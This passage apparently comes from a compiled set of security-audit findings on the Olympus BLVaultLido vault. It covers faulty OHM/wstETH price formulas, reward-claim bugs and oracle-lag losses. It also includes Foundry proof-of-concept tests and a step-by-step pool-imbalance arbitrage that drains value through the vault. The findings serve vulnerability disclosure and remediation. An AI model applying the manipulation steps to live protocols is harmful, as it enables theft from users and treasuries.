Here is a typical scenario, assuming the pool has been initiated with total LP equal to sqrt(100_000 * 1_000) = 10_000. (Note: OHM: $15, wstETH: $1500 with the pool pricing match up with manager.getOhmTknPrice() or manager.getTknOhmPrice(), i.e. 100 OHM to 1 wstETH or 0.01 wstETH to 1 OHM. The pool token balances in each step below may be calculated via the Constant Product Simulation after each swap and stake.)

OHM token balance: 100_000
wstETH token balance: 1_000
Total LP: 10_000
  1. A series of swap activities results in the pool shifted more of the LP into wstETH.

    OHM token balance: 90_909.1
    wstETH token balance: 1_100
    Total LP: 10_000

  2. Bob calls deposit() by providing 11 wstETH where 1100 OHM is minted with 1100 - 90909.1 * 0.01 = 190.91 unused OHM burned. (Note: Bob successfully stakes with 909.09 OHM and 11 wstETH and proportionately receives 100 LP.)

    OHM token balance: 91_818.19
    wstETH token balance: 1_111
    Total LP: 10_100
    User's LP: 100

  3. Bob changes his mind instantly and proceeds to call withdraw() to remove all of his LP. He receives the originally staked 909.09 OHM and 11 wstETH. All OHM is burned but he is only entitled to receive 909.09 / 100 = 9.09 wstETH since the system takes any arbs relative to the oracle price for the Treasury and returns the rest to the owner.

    OHM token balance: 90_909.1
    wstETH token balance: 1_100
    Total LP: 10_000
    User's LP: 0

Impact

Bob suffers a loss of 11 - 9.09 = 1.91 wstETH (~ 17.36% loss), and the system is ready to trap the next user given the currently imbalanced pool still shifted more of the LP into wstETH.

Code Snippet

File: BLVaultLido.sol#L143-L200

File: BLVaultLido.sol#L203-L256

Tool used

Manual Review

Recommendation

Consider implementing a snapshot of the entry record of OHM and wstETH and compare that with the proportionate exit record. Slash only the differential for treasury solely on dissuading large attempts to shift the pool around, and in this case it should be 0 wstETH since the originally staked wstETH is no greater than expectedWstethAmountOut.

hickuphh3 - `claimRewards()` doesn't actually claim rewards

hickuphh3

medium

claimRewards() doesn't actually claim rewards

Summary

claimRewards() calls getReward() with the owner as the address when it should be the vault itself (since the deposit is via the vault).

Vulnerability Detail

// Claim rewards from Aura
auraRewardPool().getReward(owner(), true);

Since deposits and withdrawals into the LP token is done via the vault, the staker would be the vault. Calling getReward() on owner() to claim rewards is therefore erroneous. It's likely to an accidental error since the other methods correctly calls on address(this), eg.

uint256 balRewards = auraRewardPool().earned(address(this));

Thankfully, rewards aren't locked up since anyone can directly call the aura reward pool to claim rewards for the vault, and the withdrawAndUnwrap() also correctly claims rewards upon withdrawals. It would merely be an inconvenience to the user to have to perform an additional transaction.

POC

I performed integration testing (it took a while to sleuth out the required addresses, would've been nice if it was provided). Please take a look at testClaimRewards().

// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;

import "forge-std/Test.sol";
import {FullMath} from "libraries/FullMath.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IBalancer.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IAura.sol";
import {IERC20} from "src/external/OlympusERC20.sol";
import "src/Kernel.sol";
import {MockPriceFeed} from "test/mocks/MockPriceFeed.sol";
import {OlympusMinter} from "modules/MINTR/OlympusMinter.sol";
import {OlympusTreasury} from "modules/TRSRY/OlympusTreasury.sol";
import {OlympusBoostedLiquidityRegistry} from "modules/BLREG/OlympusBoostedLiquidityRegistry.sol";
import {OlympusRoles, ROLESv1} from "modules/ROLES/OlympusRoles.sol";
import {RolesAdmin} from "policies/RolesAdmin.sol";
import {IBLVaultManagerLido, BLVaultManagerLido} from "policies/BoostedLiquidity/BLVaultManagerLido.sol";
import "policies/BoostedLiquidity/BLVaultLido.sol";

contract BLVaultIntegration is Test {
    // wstETH whale
    address user = 0x5fEC2f34D80ED82370F733043B6A536d7e9D7f8d;
    IERC20 liquidityPool = IERC20(0xd4f79CA0Ac83192693bce4699d0c10C66Aa6Cf0F);
    IERC20 aura = IERC20(0xC0c293ce456fF0ED870ADd98a0828Dd4d2903DBF);
    IERC20 bal = IERC20(0xba100000625a3754423978a60c9317c58a424e3D);
    IERC20 auraBAL = IERC20(0x616e8BfA43F920657B3497DBf40D6b1A02D4608d);
    IERC20 ohm = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
    IERC20 wsteth = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
    IAuraMiningLib auraMiningLib = IAuraMiningLib(0x744Be650cea753de1e69BF6BAd3c98490A855f52);
    IAuraRewardPool auraRewardPool = IAuraRewardPool(0x636024F9Ddef77e625161b2cCF3A2adfbfAd3615);
    uint256 pid = 73;
    address auraBooster = 0xA57b8d98dAE62B26Ec3bcC4a365338157060B234;
    IVault balVault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IBalancerHelper balancerHelper = IBalancerHelper(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);

    MockPriceFeed stethEthPriceFeed = MockPriceFeed(0x86392dC19c0b719886221c78AB11eb8Cf5c52812);
    MockPriceFeed ohmEthPriceFeed = MockPriceFeed(0x9a72298ae3886221820B1c878d12D872087D3a23);

    // Olympus DAO V3 contracts
    Kernel kernel = Kernel(0x2286d7f9639e8158FaD1169e76d1FbC38247f54b);
    address executor = kernel.executor();
    OlympusMinter minter = OlympusMinter(0xa90bFe53217da78D900749eb6Ef513ee5b6a491e);
    OlympusTreasury treasury = OlympusTreasury(0xa8687A15D4BE32CC8F0a8a7B9704a4C3993D9613);
    OlympusBoostedLiquidityRegistry blreg = new OlympusBoostedLiquidityRegistry(kernel);
    OlympusRoles rolesAdmin = OlympusRoles(0x6CAfd730Dc199Df73C16420C4fCAb18E3afbfA59);

    BLVaultManagerLido vaultManager;
    BLVaultLido vaultImplementation;
    BLVaultLido userVault;

    function setUp() public {
        vaultImplementation = new BLVaultLido();
        IBLVaultManagerLido.TokenData memory tokenData = IBLVaultManagerLido.TokenData({
            ohm: address(ohm),
            pairToken: address(wsteth),
            aura: address(aura),
            bal: address(bal)
        });

        IBLVaultManagerLido.BalancerData memory balancerData = IBLVaultManagerLido
            .BalancerData({
                vault: address(balVault),
                liquidityPool: address(liquidityPool),
                balancerHelper: address(balancerHelper)
            });
        
        IBLVaultManagerLido.AuraData memory auraData = IBLVaultManagerLido.AuraData({
            pid: pid,
            auraBooster: auraBooster,
            auraRewardPool: address(auraRewardPool)
        });

        IBLVaultManagerLido.OracleFeed memory ohmEthPriceFeedData = IBLVaultManagerLido
            .OracleFeed({feed: ohmEthPriceFeed, updateThreshold: uint48(1 days)});

        IBLVaultManagerLido.OracleFeed memory stethEthPriceFeedData = IBLVaultManagerLido
            .OracleFeed({feed: stethEthPriceFeed, updateThreshold: uint48(1 days)});
        
        vaultManager = new BLVaultManagerLido(
            kernel,
            tokenData,
            balancerData,
            auraData,
            address(auraMiningLib),
            ohmEthPriceFeedData,
            stethEthPriceFeedData,
            address(vaultImplementation),
            100_000e9,
            0
        );
        
        // Initialize system
        {
            vm.startPrank(executor);

            // Initialize modules
            kernel.executeAction(Actions.InstallModule, address(blreg));

            // Activate policies
            kernel.executeAction(Actions.ActivatePolicy, address(vaultManager));
            kernel.executeAction(Actions.ActivatePolicy, address(this));
            vm.stopPrank();
        }

         // grant this contract liquidity vault admin role
        {
            rolesAdmin.saveRole("liquidityvault_admin", address(this));
        }

        // Activate Vault Manager
        {
            vaultManager.activate();
        }

        // Prepare user's account
        // Create alice's vault
        vm.startPrank(user);
        userVault = BLVaultLido(vaultManager.deployVault());

        // Approve wstETH to alice's vault
        wsteth.approve(address(userVault), type(uint256).max);
        vm.stopPrank();
    }

    function testClaimRewards() public {
        vm.startPrank(user);
        userVault.deposit(10e18, 0);
        // move time forward
        skip(86400);
        // check rewards
        RewardsData[] memory rewardsData = userVault.getOutstandingRewards();

        assertGt(rewardsData[0].outstandingRewards, 0);
        assertGt(rewardsData[1].outstandingRewards, 0);

        uint256 balBeforeClaim = bal.balanceOf(user);
        uint256 auraBeforeClaim = aura.balanceOf(user);
        userVault.claimRewards();
        // user doesn't have his rewards claimed
        assertEq(bal.balanceOf(user) - balBeforeClaim, 0);
        assertEq(aura.balanceOf(user) - auraBeforeClaim, 0);
    }

    function configureDependencies() external returns (Keycode[] memory dependencies) {}

    function requestPermissions() external view returns (Permissions[] memory requests) {
       Keycode ROLES_KEYCODE = toKeycode("ROLES");

        requests = new Permissions[](2);
        requests[0] = Permissions(ROLES_KEYCODE, rolesAdmin.saveRole.selector);
        requests[1] = Permissions(ROLES_KEYCODE, rolesAdmin.removeRole.selector);
    }
}

Impact

Rewards aren't claimed when expected to.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L265

Tool used

Manual Review, Fork testing with Foundry, buildbear.io for forking

Recommendation

- auraRewardPool().getReward(owner(), true);
+ auraRewardPool().getReward();

Bauer - AuraPool.withdrawAndUnwrap boolean return value not handled in BLVaultLido.sol

Bauer

medium

AuraPool.withdrawAndUnwrap boolean return value not handled in BLVaultLido.sol

Summary

AuraPool.withdrawAndUnwrap() boolean return value not handled in BLVaultLido.sol

Vulnerability Detail

The BLVaultLido.withdraw() is used to unstake from Aura and exit Balancer pool. The withdrawAndUnwrap() function in the Aura implementation returns a boolean to acknowledge that the unstake is successful. However, the protocol does not handle the AuraPool.withdrawAndUnwrap() boolean return value.
https://etherscan.io/address/0x7818A1DA7BD1E64c199029E86Ba244a9798eEE10#code#F17#L261

    function withdrawAndUnwrap(uint256 amount, bool claim) public returns(bool){
        _withdrawAndUnwrapTo(amount, msg.sender, msg.sender);
        //get rewards too
        if(claim){
            getReward(msg.sender,true);
        }
        return true;
    }
function withdraw(
        uint256 lpAmount_,
        uint256[] calldata minTokenAmounts_,
        bool claim_
    ) external override onlyWhileActive onlyOwner nonReentrant returns (uint256, uint256) {
        // Cache variables into memory
        OlympusERC20Token ohm = ohm();
        ERC20 wsteth = wsteth();
        IBLVaultManagerLido manager = manager();

        // Cache OHM and wstETH balances before
        uint256 ohmBefore = ohm.balanceOf(address(this));
        uint256 wstethBefore = wsteth.balanceOf(address(this));

        // Decrease total LP
        manager.decreaseTotalLp(lpAmount_);

        // Unstake from Aura
        auraRewardPool().withdrawAndUnwrap(lpAmount_, claim_);

Impact

If the boolean value is not handled, the transaction may fail silently.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L221

Tool used

Manual Review

Recommendation

Recommend checking for success return value

       bool withdrawSuccess =   auraRewardPool().withdrawAndUnwrap(lpAmount_, claim_);
      if (!withdrawSuccess  revert BLVaultLido_AuraWithdrawFailed();

0x52 - stETH/ETH chainlink oracle has too long of heartbeat and deviation threshold which can cause loss of funds

0x52

high

stETH/ETH chainlink oracle has too long of heartbeat and deviation threshold which can cause loss of funds

Summary

getTknOhmPrice uses the stETH/ETH chainlink oracle to calculate the current price of the OHM token. This token valuation is used to determine the amount of stETH to skim from the user resulting from oracle arb. This is problematic since stETH/ETH has a 24 hour heartbeat and a 2% deviation threshold. This deviation in price could easily cause loss of funds to the user.

Vulnerability Detail

BLVaultManagerLido.sol#L458-L473

function getTknOhmPrice() public view override returns (uint256) {
    // Get stETH per wstETH (18 Decimals)
    uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();

    // Get ETH per OHM (18 Decimals)
    uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);

    // Get stETH per ETH (18 Decimals)
    uint256 stethPerEth = _validatePrice(
        stethEthPriceFeed.feed,
        stethEthPriceFeed.updateThreshold
    );

    // Calculate wstETH per OHM (18 decimals)
    return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);
}

getTknOhmPrice uses the stETH/ETH oracle to determine the price which as stated above has a 24 hour hearbeat and 2% deviation threshold, this means that the price can move up to 2% or 24 hours before a price update is triggered. The result is that the on-chain price could be much different than the true stETH price.

BLVaultLido.sol#L232-L240

    uint256 wstethOhmPrice = manager.getTknOhmPrice();
    uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;

    // Take any arbs relative to the oracle price for the Treasury and return the rest to the owner
    uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut
        ? expectedWstethAmountOut
        : wstethAmountOut;
    if (wstethAmountOut > wstethToReturn)
        wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);

This price is used when determining how much stETH to send back to the user. Since the oracle can be up to 2% different from the true price, the user can unfairly lose part of their funds.

Impact

User will be unfairly penalized due large variance between on-chain price and asset price

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L440-L455

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L458-L473

Tool used

Manual Review

Recommendation

Use the stETH/USD oracle instead because it has a 1-hour heartbeat and a 1% deviation threshold.

Bauer - Incorrect getOhmTknPrice() function implementation

Bauer

high

Incorrect getOhmTknPrice() function implementation

Summary

Incorrect getOhmTknPrice() function implementation

Vulnerability Detail

The protocol allows owner to deposit wstETH and stake the wstETH and OHM to external pool to get lp shares. The OHM amount to mint is calculated as the below code.

    function getOhmTknPrice() public view override returns (uint256) {
        // Get stETH per wstETH (18 Decimals)
        uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();

        // Get ETH per OHM (18 Decimals)
        uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);

        // Get stETH per ETH (18 Decimals)
        uint256 stethPerEth = _validatePrice(
            stethEthPriceFeed.feed,
            stethEthPriceFeed.updateThreshold
        );

        // Calculate OHM per wstETH (9 decimals)
        return (stethPerWsteth * stethPerEth) / (ethPerOhm * 1e9);
    }

Asumue:
1 wstETH = 10 stETH
1 OHM = 2 ETH
1 ETH = 5 stETH

Then, 1 wstETh = 10/5/2 OHM.
However, the result of the protocol calculation is 10*5/2 = 25. This is incorrect. The protocol will mint more OHM to the BLVaultLido protocol.

Impact

Function getOhmTknPrice() implementation is incorrect.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L440-L455

Tool used

Manual Review

Recommendation

return (stethPerWsteth*1e18*1e9)/stethPerEth/ethPerOhm

Duplicate of #42

cducrest-brainbot - Incorrect calcuation of getTknOhmPrice

cducrest-brainbot

high

Incorrect calcuation of getTknOhmPrice

Summary

The calculation for getTknOhmPrice does not use the correct values.

Vulnerability Detail

We want to output a value that when multiplied by an OHM amount yields wstETH amount. I.e. we want wstEthPerOhm.
Not taking decimals into account, we can calculate it as wstEthPerOhm = wstEthPerEth * ethPerOhm = wstethPerSteth * stethPerEth * ethPerOhm = stethPerEth * ethPerOhm / stethPerWsteth

The logic is APerB = APerC * CPerB and APerB = 1 / BPerA

The calculation uses stethPerEth in denominator instead of numerator.

Impact

Incorrect value of getTknOhmPrice() used to calculate the expected amount of wstEth out during a withdraw, the value of stethPerEth is currently 0.9977325266 so the difference is not that big. Too much wstEth will be returned to the user resulting in a financial loss for the protocol.

Code Snippet

    function getTknOhmPrice() public view override returns (uint256) {
        // Get stETH per wstETH (18 Decimals)
        uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();

        // Get ETH per OHM (18 Decimals)
        uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);

        // Get stETH per ETH (18 Decimals)
        uint256 stethPerEth = _validatePrice(
            stethEthPriceFeed.feed,
            stethEthPriceFeed.updateThreshold
        );

        // Calculate wstETH per OHM (18 decimals)
        return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);
    }

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L458

Tool used

Manual Review

Recommendation

Use stethPerEth * ethPerOhm / stethPerWsteth calculation

Duplicate of #42

ABA - `wstETH` to `OHM` price is incorrectly calculated

ABA

medium

wstETH to OHM price is incorrectly calculated

Summary

The price of wstETH, relative to OHM, which is used throughout the project, is calculated incorrectly because of wrong Chainlink stream pair used.

Vulnerability Detail

wstETH to OHM price is calculated in the function getTknOhmPrice
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L458

    function getTknOhmPrice() public view override returns (uint256) {

The function takes the following token price pairs:

  • stETH/wstETH -> stethPerWsteth
  • ETH/OHM -> ethPerOhm
  • stETH/ETH -> stethPerEth

and combines them with the intent to translated into wstETH/OHM.

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L471-L472

    // Calculate wstETH per OHM (18 decimals)
    return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);

Here is the issue, because the correct pairs are not used and results in a different price then intended. To better illustrate this will replace the above formula with the token denominations only:

$$ result = {ethPerOhm \over stethPerWsteth * stethPerEth} $$

  • take the ethPerOhm to the left for better visibility

$$ = ethPerOhm * \frac{1}{stethPerWsteth * stethPerEth} $$

  • replace each variable with it's denominations

$$ = \frac{ETH}{OHM} * \frac{1}{\frac{stETH}{wstETH} * \frac{stETH}{ETH}} $$

  • reverse the right fraction

$$ = \frac{ETH}{OHM} * \frac{wstETH * ETH}{stETH * stETH} $$

  • do some basic, allowed, positional changes and highlighting the fraction of interest in parentheses

$$ = (\frac{wstETH}{OHM}) * \frac{ETH * ETH}{stETH * stETH} $$

It can be seen in the final result that the desired value wstETH/OHM would only be achieved if in the original formula we had stethPerEth replaces with a ethPerSteth (ETH/stETH) equivalent:

 return (ethPerOhm * 1e36) / (stethPerWsteth * ethPerSteth);

Impact

wstETH/OHM price is calculated incorrect. By not reflecting the correct price the protocol can suffer losses due to arbitrage/unexpected price fluctuations.

Instead of the stETH to ETH price stream, the correct stream would of been ETH to stETH. Since both are ETH equivalents they tend to not vary much, as such, the price fluctuations would not be sever but would still pose an issue.

Code Snippet

Tool used

Manual Review

Recommendation

The simples solution would be to use a ETH/stETH Chainlink price stream, unfortunately one does not exist
https://docs.chain.link/data-feeds/price-feeds/addresses/

Instead, use other, intermediate, price streams to arrive at the desired price.

Duplicate of #24

RaymondFam - System could be gamed by single-sided depositing through the vault with an added preliminary step

RaymondFam

high

System could be gamed by single-sided depositing through the vault with an added preliminary step

Summary

The system can be gamed by first shifting more of the LP into OHM, then only depositing through the vault, performing a large swap (either via user balance, a large loan, or a flash loan) to shift more of the LP into wstETH, then exiting the pool.

Vulnerability Detail

Here is a typical scenario, assuming the pool has been initiated with total LP equal to sqrt(100_000 * 1_000) = 10_000. (Note: OHM: $15, wstETH: $1500 with the pool pricing match up with manager.getOhmTknPrice() or manager.getTknOhmPrice(), i.e. 100 OHM to 1 wstETH or 0.01 wstETH to 1 OHM. The pool token balances in each step below may be calculated via the Constant Product Simulation after each swap and stake.)

OHM token balance: 100_000
wstETH token balance: 1_000
Total LP: 10_000
  1. The user will first swap 10000 OHM for 90.91 wstETH making an initial loss of 10000 * 15 - 90.91 * 1500 = $13635 on paper.

    OHM token balance: 110_000
    wstETH token balance: 909.09
    Total LP: 10_000

  2. A single-sided deposit through the vault is made with 110 wstETH so that 11000 OHM is minted and 110 - 909.09 * 0.1 = 19.09 wstETH is unused and refunded. (Note: The user successfully stakes with 11000 OHM and 90.91 wstETH and proportionately receives 1000 LP.)

    OHM token balance: 121_000
    wstETH token balance: 1000
    Total LP: 11_000
    User's LP: 1_000

  3. The user swaps 100 wstETH for 11000 OHM and makes a profit of 11000 * 15 - 100 * 1500 = $15000 on paper. After offsetting the earlier paper loss, the net profit for the swaps is 15000 - 13635 = $1365.

    OHM token balance: 110_000
    wstETH token balance: 1_100
    Total LP: 11_000
    User's LP: 1_000

  4. Next, the user's LP is fully withdrawn where 10000 OHM is received and burned while 100 wstETH is fully transferred to the user because the pool wstETH per 1 OHM pricing is back to equaling getTknOhmPrice(), i.e. wstethAmountOut == expectedWstethAmountOut making wstethToReturn == wstethAmountOut.

    OHM token balance: 100_000
    wstETH token balance: 1_000
    Total LP: 10_000
    User's LP: 0

Impact

The user makes 100 - 90.91 = 9.09 wstETH. Together with the swap profit, the total gross arbitrage is 9.09 * 1500 + 1365 = $15000, which is way more than enough to cover for all needed flash loan and transaction fees.

In fact, steps 1 - 4 arbitrage exploit could be repeated since the pool is now rebalanced to match up with the market pricing again.

Code Snippet

File: BLVaultLido.sol#L143-L200

File: BLVaultLido.sol#L203-L256

Tool used

Manual Review

Recommendation

Consider implementing a snapshot of the entry record of OHM and wstETH and compare that with the proportionate exit record. Check if the pool has been twice imbalanced in opposite manner between the two snapshots. If it has been, slash the differential for treasury dissuading large attempts to shift the pool around with the preliminary step aforesaid in step 1 added to the know and fixed issue, steps 2 to 4.

J4de - The remaining LP is not returned to the user

J4de

medium

The remaining LP is not returned to the user

Summary

The remaining LP in the BLVaultLido contract is not returned to the user.

Vulnerability Detail

// // https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L177-L180
            // Stake into Aura
            liquidityPool.approve(address(auraBooster), lpAmountOut);
            bool depositSuccess = auraBooster.deposit(pid(), lpAmountOut, true);
            if (!depositSuccess) revert BLVaultLido_AuraDepositFailed();

The LPs deposit to auraBooster may be less than lpAmountOut, resulting in the possibility of remaining LP in the contract.

Impact

The user's LP may thus be lost in this contract.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L177-L180

Tool used

Manual Review

Recommendation

It is recommended to return the remaining LP to the user.

ABA - `getOhmSupplyChangeData` shows faulty data, will mislead external integrators/users

ABA

medium

getOhmSupplyChangeData shows faulty data, will mislead external integrators/users

Summary

External sources will use the getOhmSupplyChangeData, to display information to user about the state of the system.
This function always returns 0 for the deployed OHM values and circulating burned OHM.

Vulnerability Detail

getOhmSupplyChangeData from BLVaultManagerLido aggregates and returns 3 pieces of information:

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L424-L437

    function getOhmSupplyChangeData()
        external
        view
        override
        returns (uint256 poolOhmShare, uint256 deployedOhm, uint256 circulatingOhmBurned)
    {
        // Net emitted is the amount of OHM that was minted to the pool but is no longer in the
        // pool beyond what has been burned in the past. Net removed is the amount of OHM that is
        // in the pool but wasn’t minted there plus what has been burned in the past. Here we just return
        // the data components to calculate that.


        uint256 currentPoolOhmShare = getPoolOhmShare();
        return (currentPoolOhmShare, deployedOhm, circulatingOhmBurned);
    }

out of these deployedOhm and circulatingOhmBurned will always be 0 because they are both declared as returns variables:

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L428

        returns (uint256 poolOhmShare, uint256 deployedOhm, uint256 circulatingOhmBurned)

and as contract variables

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L77-L78

    uint256 public deployedOhm;
    uint256 public circulatingOhmBurned;

As the local variables shadow the global ones, the return values will always be 0.

Impact

Users will be mislead about the current state of the system. Also, any decision the team will base off this information (e.g. modifying deployed OHM limit) will be erroneous.
Also, any other integration with this contract via this function will receive faulty information.

Code Snippet

A simple POC to be set in BLVaultManagerLidoMocks.t to highlight that even if vault minted OHM, it is not reflected by getOhmSupplyChangeData

    /// [X]  getOhmSupplyChangeData
    ///     [X]  returns incorrect amounts

    function testIncorrectness_getOhmSupplyChangeData() public {
        address aliceVault = _createVault();

        // Increase OHM minted, this also increases the deployedOhm 
        vm.prank(aliceVault);
        vaultManager.mintOhmToVault(99_900e9);

        (uint256 poolOhmShare, uint256 deployedOhm, uint256 circulatingOhmBurned) = vaultManager.getOhmSupplyChangeData();
        
        // show the value has not changed
        assertEq(poolOhmShare, 0);
        assertEq(deployedOhm, 0);
        assertEq(circulatingOhmBurned, 0);
    }

Tool used

Manual Review
Visual Studio Code with the Solidity Visual Developer plugin. It highlighted the issue
https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor

Recommendation

Remove the return variables on line:
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L428

jasonxiale - functions BLVaultManagerLido.getOhmTknPrice and BLVaultManagerLido.getTknOhmPrice will get wrong value because of wrong price feed

jasonxiale

high

functions BLVaultManagerLido.getOhmTknPrice and BLVaultManagerLido.getTknOhmPrice will get wrong value because of wrong price feed

Summary

According to document https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/interfaces/IBLVaultManagerLido.sol#L126-L132, those two functions are used to calculate the price between OHM and wstETH, however due to wrong price feed oracle, the price between OHM and wstETH will be wrong.
Although the price feed hasn't bee set yet, but according to the documents, function/variable naming and comments, it's very likely the project will use wrong price feed

Vulnerability Detail

Take BLVaultManagerLido.getTknOhmPrice as an example

function getTknOhmPrice() public view override returns (uint256) {
    // Get stETH per wstETH (18 Decimals)
    uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();

    // Get ETH per OHM (18 Decimals)
    uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);

    // Get stETH per ETH (18 Decimals)
    uint256 stethPerEth = _validatePrice(
        stethEthPriceFeed.feed,
        stethEthPriceFeed.updateThreshold
    );

    // Calculate wstETH per OHM (18 decimals)
    return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);
}

According to IBLVaultManagerLido.sol#LL130, the function is used to "Gets the number of wstETH per 1 OHM",
So we can define a variable as

uint256 wstETHPerOhm = getTknOhmPrice();

which means

uint256 wstETHPerOhm = (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth)

which equals

wstETHPerOhm * (stethPerWsteth * stethPerEth) = (ethPerOhm * 1e36) 

and then we exchange left side and right side

(ethPerOhm * 1e36) = wstETHPerOhm * (stethPerWsteth * stethPerEth)

and then we will convert above into formula (and ignore decimals for convenience)

eth / Ohm = wstETH / Ohm *( steth / Wsteth * steth / eth)

and after remove the same items in numerator and denominator, we will get

eth = steth * steth / eth

which can't be right, unless stethPerEth means ethPerSteth

Impact

wrong price

Code Snippet

Tool used

Manual Review

Recommendation

Duplicate of #42

HHK - claimRewards() will never claim rewards

HHK

medium

claimRewards() will never claim rewards

Summary

Function claimRewards() will never claim rewards for the vault as it doesn't use the right parameters.

Vulnerability Detail

auraRewardPool().getReward in claimRewards uses the owner as account to check rewards for instead of the vault.
Thus this will never claim rewards for the vault.

Rewards can still be claimed by inputing claim = true when calling withdraw.

Impact

  • UX impact and gas cost increase as the user can't harvest rewards without calling withdraw.
  • Useless claimRewards function in the code

Code Snippet

Vault
https://github.com/0xLienid/sherlock-olympus/blob/e502fe566516f358141118a40f1c02e014f8b27c/src/policies/BoostedLiquidity/BLVaultLido.sol#L262-L269

AuraRewardPool
https://github.com/aurafinance/convex-platform/blob/56f0c879f5a40288d6569d63ca4f791f4cf73589/contracts/contracts/BaseRewardPool.sol#L291-L312

It is linked on the doc : https://docs.aura.finance/developers/building-on-aura and seems to be the baseRewardPool used in production (ex: https://etherscan.io/address/0xe4683fe8f53da14ca5dac4251eadfb3aa614d528).

Tool used

Manual Review

Recommendation

Change owner() with address(this) or call getRewards() that uses msg.sender instead.

 auraRewardPool().getReward(address(this), true);

// or

 auraRewardPool().getReward();

Duplicate of #21

CRYP70 - VaultOwner can keep claiming free rewards after withdrawal

CRYP70

high

VaultOwner can keep claiming free rewards after withdrawal

Summary

Users are able to supply wsteth tokens to the vault using the deposit() function and withdraw from from the vault while also claiming rewards by setting the claim flag to true. When a user withdraws with a true claim flag, they should be able to completely withdraw from the vault however, there lacks a check of LP when attempting to claim rewards.

Vulnerability Detail

The code for claimRewards() looks like the following:

function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
    // Claim rewards from Aura
    auraRewardPool().getReward(owner(), true);
    // Send rewards to owner
    _sendRewards();
}

Because there is no validation of the LP status of the vault owner, when calling claimRewards(), users may be able to claim free rewards after withdrawing from the protocol. The proof of concept below outlines this scenario:

function testClaimRewardsAfterWithdrawal() public {

    // Setup scenario 
    ERC20 balReward = ERC20(address(aliceVault.bal()));

    vm.startPrank(address(alice));
    wsteth.approve(address(aliceVault), wsteth.balanceOf(address(alice)));
    aliceVault.deposit(100 ether, 0);

    uint256[] memory minTokenAmounts = new uint256[](1);
    minTokenAmounts[0] = 0;

    aliceVault.withdraw(100 ether, minTokenAmounts, true);

    aliceVault.claimRewards();
    aliceVault.claimRewards();
    aliceVault.claimRewards();
    aliceVault.claimRewards();
    aliceVault.claimRewards();
    aliceVault.claimRewards();
    vm.stopPrank();

    assertEq(aliceVault.getLpBalance(), 0);
    assertEq(balReward.balanceOf(address(alice)), 7 ether);

}

Impact

This effectively results in the theft of reward tokens.

Code Snippet

Tool used

Manual Review

Recommendation

It’s recommended that the vault checks that the user is still invested in the protocol and hasn’t claimed their rewards yet. This can by done by setting a state variable claimed which is for example false on deposit and true on withdrawal if the claim flag is set to true. This claimed state variable can be validated when the user attempts to claim rewards. This essentially locks the ability to call the claimRewards() function if the user hasn’t deposited.

hickuphh3 - `AURA` reward amount returned may be inaccurate

hickuphh3

medium

AURA reward amount returned may be inaccurate

Summary

The AURA reward amount claimable and reward rate calculations may be inaccurate because of 2 reasons:

  1. The AuraMining library to be used is explicitly stated to not be used on-chain because it doesn't account for inflationary tokens minted by the AURA minter
  2. It doesn't account for the reward multiplier in the AuraBooster.
